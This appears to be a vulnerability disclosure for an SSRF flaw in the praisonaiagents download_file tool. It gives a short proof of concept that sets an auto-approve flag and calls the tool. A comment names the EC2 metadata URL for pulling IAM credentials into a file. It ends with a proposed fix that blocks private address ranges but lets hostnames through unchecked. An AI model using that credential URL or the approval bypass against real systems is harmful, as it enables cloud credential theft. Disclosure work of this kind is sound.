Python CVE-2026-34954

# source -- url taken directly from caller, no validation
def download_file(self, url: str, destination: str, ...):
# sink -- unvalidated url passed to httpx with redirect following
    with httpx.stream("GET", url, timeout=timeout, follow_redirects=True) as response:

# tested on: praisonaiagents==1.5.87 (source install)
# install: pip install -e src/praisonai-agents
# start listener: python3 -m http.server 8888

import os
os.environ['PRAISONAI_AUTO_APPROVE'] = 'true'
from praisonaiagents.tools.file_tools import download_file

result = download_file(
    url="http://127.0.0.1:8888/ssrf-test",
    destination="/tmp/ssrf_out.txt"
)
print(result)
# listener logs: "GET /ssrf-test HTTP/1.1" 404
# on EC2 with IMDSv1: url="http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# writes IAM credentials to destination file

from urllib.parse import urlparse
import ipaddress

BLOCKED_NETWORKS = [
    ipaddress.ip_network("127.0.0.0/8"),
    ipaddress.ip_network("169.254.0.0/16"),
    ipaddress.ip_network("10.0.0.0/8"),
    ipaddress.ip_network("172.16.0.0/12"),
    ipaddress.ip_network("192.168.0.0/16"),
]

def _validate_url(url: str) -> None:
    parsed = urlparse(url)
    if parsed.scheme not in ("http", "https"):
        raise ValueError(f"Scheme {parsed.scheme!r} not allowed")
    try:
        addr = ipaddress.ip_address(parsed.hostname)
        for net in BLOCKED_NETWORKS:
            if addr in net:
                raise ValueError(f"Requests to {addr} are not permitted")
    except ValueError as e:
        if "does not appear to be" not in str(e):
            raise